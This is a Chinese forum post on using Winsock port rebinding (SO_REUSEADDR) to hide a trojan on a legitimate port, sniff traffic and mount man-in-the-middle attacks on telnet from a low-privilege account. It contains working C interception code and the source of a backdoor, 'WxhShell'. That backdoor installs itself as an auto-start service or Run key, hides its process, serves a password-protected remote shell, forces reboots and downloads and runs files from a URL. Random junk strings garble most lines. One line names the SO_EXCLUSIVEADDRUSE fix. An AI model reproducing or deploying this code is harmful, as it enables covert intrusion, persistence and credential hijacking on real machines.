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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 9xi nX-x;n  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); W4;/;[/L  
8 Y4mTW  
  saddr.sin_family = AF_INET; IR2=dQS  
BP4xXdG  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); @C-03`JWuK  
c@3mfc{  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); =yF]#>Ah  
:V3z`}Rl  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 za%gD  
8)lrQvZ  
  这意味着什么?意味着可以进行如下的攻击: apOXcZ   
xKR\w!+Z'  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 *b'4>U  
C@`rg ILc  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) <Y]e  
p}oGhO&=  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 2FR+Z3&z  
q9 :g  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  +GJPj(S  
=oBlUE  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 rD+mI/_J`  
VV;%q3}:  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Rk,'ujc  
beaSvhPU  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 =t^jlb  
%pIP#y[4  
  #include {E; bT|3z  
  #include cJMi`PQ;  
  #include }* \*<d 3  
  #include    ,ZghV1z  
  DWORD WINAPI ClientThread(LPVOID lpParam);   [ *Dj7z t:  
  int main() y8_$YA/g  
  { 3eg6 CdT  
  WORD wVersionRequested; ^T:L6:  
  DWORD ret; ph}%Ay$  
  WSADATA wsaData; AsD$M*It  
  BOOL val; G6QD`ED  
  SOCKADDR_IN saddr; o%bf7)~s  
  SOCKADDR_IN scaddr; |1GOm=GNK  
  int err; 6Df*wi!jI  
  SOCKET s; h@E7wp1'~  
  SOCKET sc; c/Fgx/hr  
  int caddsize; -woFKAy`  
  HANDLE mt; (3Q$)0t  
  DWORD tid;   JK`$/l|7  
  wVersionRequested = MAKEWORD( 2, 2 ); s+~GQcj<T  
  err = WSAStartup( wVersionRequested, &wsaData ); )=#e*1!b  
  if ( err != 0 ) { Esu {c9,  
  printf("error!WSAStartup failed!\n"); tLi91)oG  
  return -1; g<@Q)p*ow  
  } lb$_$+@Vr  
  saddr.sin_family = AF_INET; eT Fep^[  
   pd B\D  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 CT5s`v!s  
N>Ih2>8t  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); W]oa7VAq  
  saddr.sin_port = htons(23); C1'y6{,@  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) {,i-V57-h  
  { l$1NI#&  
  printf("error!socket failed!\n"); ZNne 8  
  return -1; /vq$/  
  } dQ:F5|p  
  val = TRUE; 99.F'Gz  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 YA@MLZm  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) c7~R0nP  
  { cnS;9=,&  
  printf("error!setsockopt failed!\n"); 8\"Gs z  
  return -1; Th$Z9+()  
  } @R}3f6@67  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; |_ +#&x  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 <#J5.I 1  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 OLPY<ax  
$[}EV(#y  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) PW|=IPS  
  { k_{?{:X;y  
  ret=GetLastError(); Fsm6gE`|n  
  printf("error!bind failed!\n"); p U9 .#O  
  return -1; 5RvE ),  
  } Q5ff&CE  
  listen(s,2); JOpH Z?  
  while(1) (BFwE@1"  
  { ~;?<OOt|wG  
  caddsize = sizeof(scaddr); tu Y+n 2  
  //接受连接请求 YGC%j  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); =Q{?!  
  if(sc!=INVALID_SOCKET) 3<Zp+rD  
  { [zBi*%5O  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); O^3kPVr  
  if(mt==NULL) ]+46r!r|  
  { (:qc[,m  
  printf("Thread Creat Failed!\n"); r88De=*  
  break; zBlv?JwG  
  } Cdib{y<ji  
  } 6F!B*lr  
  CloseHandle(mt); ;:j1FOj  
  } v+"4YIN  
  closesocket(s); w6Nn x5Ay  
  WSACleanup(); vue^bn  
  return 0; D/f 4kkd  
  }   MW6z&+Z  
  DWORD WINAPI ClientThread(LPVOID lpParam) tH)j EY9  
  { (bQ3:%nD  
  SOCKET ss = (SOCKET)lpParam; njf\fw_  
  SOCKET sc; C<AW)|r_  
  unsigned char buf[4096]; &n )MGg1%  
  SOCKADDR_IN saddr; &:g:7l]g  
  long num; (z>t4(%\  
  DWORD val; {@ vnKyf^K  
  DWORD ret; ,bXZ<RY$  
  //如果是隐藏端口应用的话,可以在此处加一些判断 C=V2Y_j  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   1Vdi5;dn  
  saddr.sin_family = AF_INET; F'b%D  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ,#UZp\zZ*  
  saddr.sin_port = htons(23); Jr( =Y@Z '  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 4[@YF@_=M  
  { t|eH'"N%o  
  printf("error!socket failed!\n"); EC;>-s  
  return -1; Cp(2]Eb  
  } Nw'03Jzx_  
  val = 100; '"fJA/O  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) q6)fP4MQ]  
  { kFwFPK%B  
  ret = GetLastError(); _%- +"3Ll  
  return -1; !CWe1Dm  
  } 5K ;E*s,  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) +ZM,E8  
  { I7oA7@zv  
  ret = GetLastError(); s@ r{TXEn  
  return -1; #M16qOEw  
  } X8Q'*  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) LXK!4(xaW  
  { 8s$6R|ti  
  printf("error!socket connect failed!\n"); )^ Y+Vn  
  closesocket(sc); ve ysW(z  
  closesocket(ss); U_(>eVi7F  
  return -1; qU7_%Z  
  } iCF},W+  
  while(1) Y@0'0   
  { SOhM6/ID2/  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ^ *"fC  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ^iMr't\b  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 h<U?WtWT-p  
  num = recv(ss,buf,4096,0); GYfOwV!zB  
  if(num>0) [|OII!"  
  send(sc,buf,num,0); P[ WkW#  
  else if(num==0) Gv &G2^  
  break; w!7ApEH1  
  num = recv(sc,buf,4096,0); @|SeabN^-  
  if(num>0) t\K (zE  
  send(ss,buf,num,0); PlGif)  
  else if(num==0)  /ooGyF  
  break; 4u 6 FvN  
  } \;)g<TwL  
  closesocket(ss); H\R a*EO~j  
  closesocket(sc); 8u+kA mI  
  return 0 ; N s+g9+<A  
  } g0tnt)]  
?`piie9V  
#y83tNev  
========================================================== ,r~+ 9i0N  
>#|%'Us  
下边附上一个代码,,WXhSHELL eo0-aHs  
_-TplGSO=c  
========================================================== $+'H000x  
T+v*@#iJ_  
#include "stdafx.h" WFOJg&  
HeAXZA,  
#include <stdio.h> dtC@cK/,D  
#include <string.h> ~\_VWXXvIW  
#include <windows.h> wQ/* f9  
#include <winsock2.h> 3F2IL)Hn  
#include <winsvc.h> :+,;5  
#include <urlmon.h> = ^NvUrK  
bV8+E u  
#pragma comment (lib, "Ws2_32.lib") B`B =bn+4  
#pragma comment (lib, "urlmon.lib") XMuZ}u[U  
hy*{ {f;  
#define MAX_USER   100 // 最大客户端连接数 *8Z2zmZtR^  
#define BUF_SOCK   200 // sock buffer ('5?-  
#define KEY_BUFF   255 // 输入 buffer OOqT0w N  
@'R)$:I%L  
#define REBOOT     0   // 重启 {Yj5Mj|#  
#define SHUTDOWN   1   // 关机 OoSk^U)  
,-#MEr  
#define DEF_PORT   5000 // 监听端口 by@KdQow  
e^Zm09J  
#define REG_LEN     16   // 注册表键长度 Y<xqws  
#define SVC_LEN     80   // NT服务名长度 W[8Kia-OD  
a;HAuy`M x  
// 从dll定义API E 5&Z={  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); :(n<c  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); I}4 PB+yu  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); =Z^5'h~  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Y@+Rb  
z qeQ  
// wxhshell配置信息 j>\c > U  
struct WSCFG { r<UVO$N  
  int ws_port;         // 监听端口 AHb_BgOU*  
  char ws_passstr[REG_LEN]; // 口令 VL9wRu;  
  int ws_autoins;       // 安装标记, 1=yes 0=no egaX[ j r  
  char ws_regname[REG_LEN]; // 注册表键名 =Zq6iMD  
  char ws_svcname[REG_LEN]; // 服务名 JI "/,fK^  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 y&NqVR=   
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 M~taZt4  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 /t0L%jJZ  
int ws_downexe;       // 下载执行标记, 1=yes 0=no j<t3bM-G  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" @t9HRL?T~  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 PftK>,+,  
.EKlw##  
}; iHD!v7d7  
+Q5 O$8i  
// default Wxhshell configuration ED&nrd1P  
struct WSCFG wscfg={DEF_PORT, N[I@}j  
    "xuhuanlingzhe", kTb$lLG\xk  
    1, UBaXS_c\  
    "Wxhshell", ]RCo@QW  
    "Wxhshell", GE/!$3  
            "WxhShell Service", * 65/gG8>  
    "Wrsky Windows CmdShell Service", .@VZ3"  
    "Please Input Your Password: ", !mNst$-H4  
  1, 24jf`1XFW  
  "http://www.wrsky.com/wxhshell.exe", W0gS>L_  
  "Wxhshell.exe" I=0c\ U}  
    }; VE )D4RL  
 Unk/uk  
// 消息定义模块 @{y'_fw  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; *7!MG  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Xh@K89`uX  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ^Oz~T|)  
char *msg_ws_ext="\n\rExit."; ?xj8a3F  
char *msg_ws_end="\n\rQuit."; >fBPVu\PA  
char *msg_ws_boot="\n\rReboot..."; /Y0~BQC7!  
char *msg_ws_poff="\n\rShutdown..."; tdm7MPM  
char *msg_ws_down="\n\rSave to "; PtfG~$h?  
b RR N  
char *msg_ws_err="\n\rErr!"; UQl?_ [G  
char *msg_ws_ok="\n\rOK!"; @Q74  
j 6qtR$l|  
char ExeFile[MAX_PATH]; 7V"?o  
int nUser = 0; N<)CG,/w[M  
HANDLE handles[MAX_USER]; @>8(f#S%  
int OsIsNt; 7Nq< o5  
Vebv!  
SERVICE_STATUS       serviceStatus; YdhTjvx  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ?H=YJK$k  
sVFO&|L  
// 函数声明 P#O" {+`  
int Install(void); A!lZyG!3  
int Uninstall(void); K.  ;ev  
int DownloadFile(char *sURL, SOCKET wsh); t#NPbLZ  
int Boot(int flag); FZ- Wgh 0z  
void HideProc(void); (!}N&!t  
int GetOsVer(void); G+ /Q!ic  
int Wxhshell(SOCKET wsl); ,>j3zjf^  
void TalkWithClient(void *cs); xs"i_se  
int CmdShell(SOCKET sock); h"`\'(,X  
int StartFromService(void); J6Ilg@}\  
int StartWxhshell(LPSTR lpCmdLine); 'LYDJ~  
2/?Zp=|j\  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); C[^VM$  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); lJK]S=cd  
#HcQ*BiF3  
// 数据结构和表定义 ,P~e)<.  
SERVICE_TABLE_ENTRY DispatchTable[] = J}V4.R5d  
{ @M'k/jl  
{wscfg.ws_svcname, NTServiceMain}, 9)!Ks g(h  
{NULL, NULL} AwJg/VBo)  
}; 8SjCU+V  
Id=20og  
// 自我安装 iJTG +gx  
int Install(void)  /~"-q  
{ i /X3k&  
  char svExeFile[MAX_PATH]; K$S0h-?9]O  
  HKEY key; yhH2b:nY(9  
  strcpy(svExeFile,ExeFile); uX7L1~s-  
FWW4n_74  
// 如果是win9x系统,修改注册表设为自启动 0)dpU1B#M  
if(!OsIsNt) { (TeH)j!  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { (PpY*jKR  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); x?Sx cQP  
  RegCloseKey(key); Zo=,!@q(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Ab$E@H #  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); )q$[uS_1[  
  RegCloseKey(key); A;U c&G  
  return 0; QYA4C1h'  
    } #(] D]f[@  
  } r]e{~v/  
} k5RzW4zq;  
else { SzLlJUVX  
|gk*{3~y  
// 如果是NT以上系统,安装为系统服务 |.; N_i  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Q 8]X  
if (schSCManager!=0) i;HXz`vT7  
{ G"r{!IFL  
  SC_HANDLE schService = CreateService tY_=[6?Zu  
  ( S]H[&o1o  
  schSCManager, I"]E}nd)  
  wscfg.ws_svcname, Trirb'qO  
  wscfg.ws_svcdisp, m-{DhJV  
  SERVICE_ALL_ACCESS, NZGO8u  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , w hI4@#  
  SERVICE_AUTO_START, R&uPoY,f  
  SERVICE_ERROR_NORMAL, 7] y3<t  
  svExeFile, /qQx~doK  
  NULL, ih kZs3}  
  NULL, Gb^63.}  
  NULL, g!0 j1  
  NULL, h),;j`PrC  
  NULL xbiprhdv  
  ); ?"b __(3  
  if (schService!=0) wGO-Z']i  
  { v8-szW).  
  CloseServiceHandle(schService); UB@(r86 d  
  CloseServiceHandle(schSCManager); J.~@j;[2  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); c<1$ zQY!  
  strcat(svExeFile,wscfg.ws_svcname); u/tJ])~@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { l<_v3/3  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); !+$qSD,%x  
  RegCloseKey(key); !MSa -  
  return 0; n[/D>Pi  
    } Yte*$cJ=  
  } QmBHD;Gf  
  CloseServiceHandle(schSCManager); t(}Y/'  
} #|\|G3Si %  
} WGV]O|  
{Lju7'5L  
return 1; wW TuEM  
} ;)rhx`"n  
X}B] 5  
// 自我卸载 &Zz&VwWR  
int Uninstall(void) 8h ol4'B  
{ iu{y.}?  
  HKEY key; @G& oUhS  
`y'%dY}$n  
if(!OsIsNt) { ]`-o\,lq  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { jzi%[c<G  
  RegDeleteValue(key,wscfg.ws_regname); *r>Y]VG;S  
  RegCloseKey(key); ;$eY#ypx  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { bP:u`!p -i  
  RegDeleteValue(key,wscfg.ws_regname); q4:zr   
  RegCloseKey(key); "4XjABJ4'  
  return 0; ~U<j_j)z4.  
  } #cR5k@  
} 41R~.?  
} ""`z3-  
else { qA}l[:F+#  
S*r }oX0  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); dhLd2WSyH  
if (schSCManager!=0) # wn>S<  
{ aaVq>$G 3  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); G>dXK,f<B0  
  if (schService!=0) m<Gd 6V5  
  { s#~VN;-I  
  if(DeleteService(schService)!=0) { :Nz TEK  
  CloseServiceHandle(schService); , -])[u  
  CloseServiceHandle(schSCManager); OfLj 4H 6Q  
  return 0; 6T"5,Q</h  
  } &*Z)[Bl  
  CloseServiceHandle(schService);  uvDOTRf  
  } *o=Z~U9z  
  CloseServiceHandle(schSCManager); Z'AjeZyyE  
} N]BH67<  
}  w&U28"i>  
:hHKm|1FE  
return 1; kH06Cb  
} 5G<`c  
*<9M|H~  
// 从指定url下载文件 Jcvp<  
int DownloadFile(char *sURL, SOCKET wsh) $hM9{  
{ Kd}%%L  
  HRESULT hr; .Sm 8t$  
char seps[]= "/"; RaiYq#X/  
char *token; {s@&3i?ZiC  
char *file;  LWo)x  
char myURL[MAX_PATH]; JpQV7}$  
char myFILE[MAX_PATH]; lfoPFJ Z  
hzV%QDUpe  
strcpy(myURL,sURL); Mt4`~`6  
  token=strtok(myURL,seps); wC1) \ld  
  while(token!=NULL) Qz"@<qgQy  
  { zPvTRW~H\  
    file=token; zll?/|%  
  token=strtok(NULL,seps); 0s4]eEXH  
  } gYL#} )g  
DUf . F  
GetCurrentDirectory(MAX_PATH,myFILE); %z1hXh#+  
strcat(myFILE, "\\"); y_IF{%i  
strcat(myFILE, file); BQMo*I>I  
  send(wsh,myFILE,strlen(myFILE),0); q|.0Ja  
send(wsh,"...",3,0); @M*5q# s  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ,|O|gh$s  
  if(hr==S_OK) enMHKN g  
return 0; Zf)<)o*  
else >wV2` 6  
return 1; ++kVq$9@y  
gZ (\/m8Z  
} 6%VRQ#g!  
]xJ2;{JWsO  
// 系统电源模块 J@N q  
int Boot(int flag) K>+c2;t;  
{ "jq F  
  HANDLE hToken; &>@EfW](  
  TOKEN_PRIVILEGES tkp; m]++ !  
M4XU*piz  
  if(OsIsNt) { Xt*h2&  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 9@(V!G  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); #1>c)_H  
    tkp.PrivilegeCount = 1; ?cr^.LV|h^  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 7*&q"   
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); _t7aOH  
if(flag==REBOOT) { -A8CW9|mk  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ~:A=o?V2  
  return 0; ~RM_c  
} j W|M)[KJN  
else { 9&4z4@on  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) CJLfpvV  
  return 0; j&?@:Zg v  
} 0bIhP,4&  
  } q-0( Wx9|  
  else { CwzDkr&QC_  
if(flag==REBOOT) { cZ/VMQEr  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ;#2yF34gv  
  return 0; /;1h-Rc>  
} &C E){jC  
else { 1`&"U[{  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ]\%u9,b%!  
  return 0; BG20R=p  
} JLxAk14lc  
} gM#]o QOGE  
wtro'r3  
return 1; 4q^'MZm1  
} DmpD`^?-L  
#F >R5 D  
// win9x进程隐藏模块 mvW,nM1Y  
void HideProc(void) , rc %#eF  
{ NHz hGg]  
IsiCHtY9  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); X[iQ%Y$/n  
  if ( hKernel != NULL ) .{#J2}+[_}  
  { ~d6zpQf7>  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); y[:xGf]8@  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); #ruL+- 8!<  
    FreeLibrary(hKernel); +,Z Q( ZW  
  } z)y{(gR  
1O;q|p'9  
return; _"c?[n  
} dX~$#-Ad86  
U> 1voc  
// 获取操作系统版本 @ **]o  
int GetOsVer(void) LZ#SX5N  
{ QPpC_pZh  
  OSVERSIONINFO winfo; `GT{=XJfY  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 4Q(GX.5  
  GetVersionEx(&winfo); .q (1  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) D~JrO]mi  
  return 1; <@2g.+9  
  else 5"9!kZ(<  
  return 0; ?r-W , n  
} rjW\tuZI  
/jv4# 9  
// 客户端句柄模块 t5WW3$Nf  
int Wxhshell(SOCKET wsl) A^"( VaK  
{ -|A`+1-R+  
  SOCKET wsh; q*4=sf,>  
  struct sockaddr_in client; 1$ C\ `  
  DWORD myID; \B~}s}  
?T <2Cl'C  
  while(nUser<MAX_USER) u IGeSd5B  
{ =6:>C9  
  int nSize=sizeof(client); J PK( S~  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); N3g\X  
  if(wsh==INVALID_SOCKET) return 1; 5ki<1{aVtZ  
KI{B<S3*Z  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 6Z3L=j  
if(handles[nUser]==0) u3ns-e  
  closesocket(wsh); o79EDPX  
else #Z]l4d3{T  
  nUser++; Gg=Y}S7:  
  } yJAz#~PO/  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); /KH,11 )yc  
gG6j>%y  
  return 0; o\;cXu h  
} =;?afUj  
(7_}UT@w-  
// 关闭 socket iSg^np  
void CloseIt(SOCKET wsh) ^9*kZV<K  
{ Pwg?a  
closesocket(wsh); 0B?t:XU,  
nUser--; TmIw?#q^  
ExitThread(0); B)}.%G*  
} I[v6Y^{q  
&;]KntxB  
// 客户端请求句柄 R-V4Ju[:  
void TalkWithClient(void *cs) vhOX1'  
{ U sS"WflB  
HJeZm  
  SOCKET wsh=(SOCKET)cs; eQqx0+-0c  
  char pwd[SVC_LEN]; TcM;6h`  
  char cmd[KEY_BUFF]; zLda&#+  
char chr[1]; +=N#6 # 1  
int i,j; DYFfq  
sV`!4 u7%}  
  while (nUser < MAX_USER) { &nyJ :?  
9#X"m,SB  
if(wscfg.ws_passstr) { 7 I`8r2H  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 51&K  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 78fFAN`  
  //ZeroMemory(pwd,KEY_BUFF); \&Zp/;n  
      i=0; T@)|0M  
  while(i<SVC_LEN) { Qaeg3f3F3  
T>2_r6;  
  // 设置超时 `8sC>)lrwu  
  fd_set FdRead; ]d]rV `RF  
  struct timeval TimeOut; 3q*p#l~  
  FD_ZERO(&FdRead); Uop`)  
  FD_SET(wsh,&FdRead); sOUQd-!"  
  TimeOut.tv_sec=8; ]Ll<Z  
  TimeOut.tv_usec=0; {oK4 u  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); |)}&: xA%  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Ufr,6IX  
s7> a  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ;*}tbh3;.  
  pwd=chr[0]; |s$w i>7l  
  if(chr[0]==0xd || chr[0]==0xa) { P/XCaj3a[  
  pwd=0; ' V#$PZx  
  break; zo>@"uH4  
  } %ot4$ eY  
  i++; N0_@=uE  
    } 9 m`VIB  
o/~Rf1  
  // 如果是非法用户,关闭 socket a*(,ydF|L  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); {|D7H=f  
} 8%Eau wAx  
]u<8j r  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 1@W*fVn  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &=S<StH  
?hh#@61  
while(1) { 1@S(v L3a  
NwbX]pDT  
  ZeroMemory(cmd,KEY_BUFF); r&_bk Y%  
VkJBqRzBOa  
      // 自动支持客户端 telnet标准   ;5PBZ<w  
  j=0; sf5F$  
  while(j<KEY_BUFF) { <A`zK  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Mj5&vs~n;  
  cmd[j]=chr[0]; [wv;CUmgc  
  if(chr[0]==0xa || chr[0]==0xd) { e WWtMnq  
  cmd[j]=0; |\3X7)^8D  
  break; E,p4R%:$@1  
  } PyQ P K,  
  j++; /k O <o&  
    } 0n-S%e5  
VteMsL/H  
  // 下载文件 YM.Q?p4g  
  if(strstr(cmd,"http://")) { -4!S?rHwd+  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); GMW,+  
  if(DownloadFile(cmd,wsh)) /|#";QsPN  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6TkV+\  
  else &X&msEM  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  ;U<}2M!g  
  } cl1>S3  
  else { Or<OmxJg  
oj%(@6L  
    switch(cmd[0]) { (F=q/lK$  
  *pj^d><  
  // 帮助 (JdZl2A.  
  case '?': { w gU2q|  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); =GJ)4os  
    break; ~b;u1;ne  
  } h6~ H5X  
  // 安装 ZBsV  
  case 'i': { n&\DJzW\#  
    if(Install()) y1OpZ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _?rL7oTv  
    else ![Ll$L r  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); B`mTp01  
    break; 8'|_O  
    } q>f|1Pf  
  // 卸载 wzf%~ats  
  case 'r': { L<W2a(  
    if(Uninstall()) &<oJw TC  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ywY[g{4+  
    else mZ0'-ax   
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); v4Mn@e_#c  
    break; aaRc?b'/  
    } uRCZGg&V?#  
  // 显示 wxhshell 所在路径 4#Cm5xAt6  
  case 'p': {  4"~F  
    char svExeFile[MAX_PATH]; Zg=jDPt}  
    strcpy(svExeFile,"\n\r"); HIsB)W&%@  
      strcat(svExeFile,ExeFile); dh K<5E  
        send(wsh,svExeFile,strlen(svExeFile),0); PQvpJFpb~h  
    break; SbK6o:[  
    } =QS%D*.|D  
  // 重启 oc PM zq-  
  case 'b': { \#7@"~<  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); J-5E# v  
    if(Boot(REBOOT)) ;GV~MH-F  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [5i }C K_=  
    else { Q/]t $  
    closesocket(wsh); MHPh!  
    ExitThread(0); hp3 <HUU  
    } 2#)z%K6T  
    break; ioJ|-@! #o  
    } #,CK;h9jy!  
  // 关机 "|nh=!L  
  case 'd': { ( 8Q*NZ  
